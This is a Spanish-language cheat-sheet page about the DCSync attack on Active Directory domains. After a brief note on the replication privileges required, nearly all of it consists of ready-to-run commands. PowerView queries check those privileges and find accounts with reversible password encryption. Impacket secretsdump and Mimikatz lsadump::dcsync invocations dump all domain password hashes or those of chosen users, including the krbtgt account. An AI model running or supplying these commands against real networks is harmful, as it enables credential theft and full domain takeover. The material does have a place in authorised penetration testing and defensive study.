DCSync

Descripción

Para realizar un ataque de DCSync se debe tener control sobre una cuenta que tenga privilegios para realizar replicación de dominio:

  • Replicating Directory Changes

  • Replicating Directory Changes All

Los administradores de dominio tienen este privilegio de forma predeterminada.

Verificar privilegios de replicación de dominio

Verificación de privilegios de replicación de dominio para un usuario.

# PowerView
$sid = Convert-NameToSid <user>
Get-ObjectAcl "DC=ACME,DC=LOCAL" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | Select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl

Almacenamiento de contraseña de cifrado reversible

Módulo ActiveDirectory PowerShell

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

PowerView

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | Select SamAccountName, UserAccountControl

Impacket

Obtención de todos los hashes del dominio.

secretsdump.py -outputfile hashes.txt -just-dc <ACME.LOCAL>/<user>@<IP-address-DC>

Obtención de hashes de un usuario del dominio.

secretsdump.py -outputfile hashes.txt -just-dc <ACME.LOCAL>/<user>@<IP-address-DC> -just-dc-user <username> -pwd-last-set -user-status -history

Mimikatz

Obtención de hashes de un usuario del dominio.

.\mimikatz.exe
lsadump::dcsync /user:<ACME.LOCAL>\<user>
# Usuario KRBTGT
lsadump::dcsync /user:<ACME.LOCAL>\krbtgt

Invoke-Mimikatz

Obtención de hashes de un usuario del dominio.

# Usuario
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<ACME.LOCAL>\<user>"'
# Usuario KRBTGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<ACME.LOCAL>\krbtgt"'

Última actualización